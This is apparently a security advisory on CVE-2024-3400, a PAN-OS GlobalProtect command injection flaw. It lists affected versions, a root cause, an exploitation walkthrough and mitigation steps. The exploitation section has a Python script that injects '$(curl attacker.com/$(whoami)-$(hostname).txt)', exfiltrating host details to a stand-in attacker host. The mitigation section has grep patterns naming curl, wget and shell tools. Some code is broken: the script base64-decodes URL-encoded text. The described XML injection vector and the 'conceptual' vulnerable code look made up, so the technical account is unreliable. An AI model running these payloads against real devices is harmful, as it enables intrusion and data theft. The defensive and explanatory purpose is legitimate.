CVE-2024-3400: Palo Alto PAN-OS Command Injection — Chaining GlobalProtect and File Operations

TL;DR

CVE-2024-3400 is an unauthenticated remote command injection vulnerability in Palo Alto Networks PAN-OS GlobalProtect gateway feature. Attackers exploited improper input validation in the GlobalProtect web interface to inject shell commands, achieving root-level code execution on firewalls. Actively exploited as a zero-day in April 2024, targeting high-value networks before public disclosure.

Affected versions

Vulnerable PAN-OS versions:

• PAN-OS 11.1 (all versions before 11.1.2-h3)
• PAN-OS 11.0 (all versions before 11.0.4-h1)
• PAN-OS 10.2 (all versions before 10.2.9-h1)

Requirements for exploitation:

• GlobalProtect gateway feature must be enabled
• Device telemetry feature must be enabled (default in many configurations)

NOT vulnerable:

• PAN-OS 11.2 and later versions
• PAN-OS 10.1 and earlier versions
• Cloud NGFW and Prisma Access (separate architecture)
• Firewalls with GlobalProtect disabled
• Panorama management servers (different code path)

Critical detail: Even firewalls not actively using GlobalProtect but with the feature enabled in configuration were vulnerable. The vulnerability existed in dormant code paths accessible without authentication.

Palo Alto estimated 10,000+ exposed devices globally, with government, finance, and critical infrastructure sectors heavily represented.

Root cause

The vulnerability stemmed from improper sanitization of user-controlled input in the GlobalProtect gateway's telemetry collection feature. Specifically, the issue existed in how the gateway handled XML-based request parameters:

python copy
# Conceptual vulnerable code path
def process_telemetry_request(xml_data):
    parsed = parse_xml(xml_data)
    filename = parsed.get('filename')  # User-controlled
    
    # VULNERABLE: Unsanitized filename used in shell command
    command = f"/usr/bin/telemetry_collector --output=/var/log/{filename}.log"
    os.system(command)  # Direct shell execution

The root cause combined multiple security failures:

1. Missing input validation: The filename parameter from XML requests was not sanitized for shell metacharacters
2. Dangerous API usage: Use of os.system() or equivalent shell execution instead of parameterized APIs
3. Insufficient context isolation: Web-facing code running with root privileges
4. Weak XML parsing: No schema validation or type checking on telemetry parameters

The vulnerability existed in the /ssl-vpn/hipreport.esp endpoint, which processed GlobalProtect HIP (Host Information Profile) reports. Attackers discovered they could inject commands through specially crafted XML payloads:

xml copy
<hip-report>
  <md5-sum>$(malicious_command)</md5-sum>
  <file>../../../var/appweb/sslvpndocs/global-protect/portal/images/`id`.jpg</file>
</hip-report>

The telemetry feature constructed file paths by concatenating user input, enabling both path traversal and command injection. The injected commands executed as root since the GlobalProtect daemon ran with elevated privileges.

Exploitation primitive

Exploitation required no authentication and could be performed remotely against any exposed GlobalProtect gateway:

Step 1 - Initial reconnaissance:

bash copy
# Identify vulnerable firewalls
curl -k "https://target-firewall/global-protect/portal/images/Portal_Legacy_Logo.png"
# If accessible, GlobalProtect is enabled

Step 2 - Command injection payload:

python copy
import requests
import urllib.parse

target = "https://victim-firewall"
payload = "$(curl attacker.com/$(whoami)-$(hostname).txt)"

# URL-encode payload for XML injection
encoded = urllib.parse.quote(payload)

xml_payload = f'''<?xml version="1.0"?>
<hip-report>
  <md5-sum>test</md5-sum>
  <categories>
    <entry name="$(echo {encoded} | base64 -d | sh)">
      <members>
        <entry>test</entry>
      </members>
    </entry>
  </categories>
</hip-report>'''

response = requests.post(
    f"{target}/ssl-vpn/hipreport.esp",
    data=xml_payload,
    verify=False,
    headers={"Content-Type": "application/xml"}
)

Step 3 - Post-exploitation capabilities:

Successful exploitation provided attackers with:

• Root shell access: Full control over PAN-OS operating system
• Credential harvesting: Access to VPN credentials, certificates, admin passwords
• Configuration theft: Export of firewall rules, policies, and network topology
• Persistence: Installation of backdoors in boot processes
• Lateral movement: Pivot point into protected network segments
• Traffic interception: Man-in-the-middle positioning on all filtered traffic

Real-world attack chain (observed in April 2024):

1. Automated scanning for exposed GlobalProtect gateways
2. Injection of web shell into /var/appweb/sslvpndocs/ directory
3. Deployment of Python-based backdoor for persistent access
4. Exfiltration of configuration files and VPN credentials
5. Creation of rogue admin accounts for backup access
6. Lateral movement to internal networks using harvested credentials

Security researchers identified a sophisticated threat actor (UTA0218) deploying a custom Python backdoor named "UPSTYLE" on compromised firewalls, establishing long-term access to victim networks.

Mitigation

CRITICAL - Immediate actions:

1. Apply hotfixes immediately (Palo Alto provided accelerated patches):

   • PAN-OS 11.1: Upgrade to 11.1.2-h3 or later
   • PAN-OS 11.0: Upgrade to 11.0.4-h1 or later
   • PAN-OS 10.2: Upgrade to 10.2.9-h1 or later

2. Threat hunting for compromise indicators:

bash copy
# Check for suspicious processes
ps aux | grep -E "python|perl|bash" | grep -v "panwpa"

# Review recent file modifications
find /var/appweb -type f -mtime -30 -ls

# Check for web shells
find /var/appweb/sslvpndocs -name "*.php" -o -name "*.jsp" -o -name "*.py"

# Examine cron jobs for persistence
crontab -l
cat /etc/cron.d/*

# Review network connections
netstat -antup | grep -E "443|4443|8080"

3. Analyze logs for exploitation attempts:

bash copy
# Search for HIP report anomalies
grep "hipreport.esp" /var/log/pan/system.log | grep -E "\$|`|\.\."

# Check for command injection patterns
grep -E "(curl|wget|bash|sh|python|perl)" /var/log/pan/system.log

Temporary mitigation (if patching delayed):

Palo Alto provided Threat Prevention signatures:

• Threat ID 95187: Blocks command injection attempts
• Deploy via dynamic updates to unpatched systems

bash copy
# Enable threat prevention on GlobalProtect interface
# Note: Not a substitute for patching

Post-patch hardening:

1. Reset all credentials:

   • Admin passwords
   • GlobalProtect user credentials
   • API keys
   • SSL certificates (if private keys potentially exposed)

2. Review and rotate:

   • IPSec VPN pre-shared keys
   • RADIUS/LDAP service account passwords
   • SNMP community strings

3. Audit configuration changes:

   • Review admin activity logs for unauthorized changes
   • Verify firewall rules haven't been modified
   • Check for rogue user accounts or certificates

4. Network segmentation review:

   • Verify firewall placement and trust zones
   • Ensure management interface not internet-exposed
   • Implement out-of-band management where possible

Long-term security measures:

• Enable PAN-OS threat prevention subscriptions
• Implement network-based IDS/IPS in front of firewalls
• Deploy security automation for rapid patch deployment
• Enable detailed logging and SIEM integration
• Conduct regular vulnerability assessments
• Restrict GlobalProtect gateway exposure (VPN concentrator architecture)

This vulnerability highlighted the critical risk of internet-exposed network security appliances and reinforced the importance of defense-in-depth strategies even for perimeter security devices.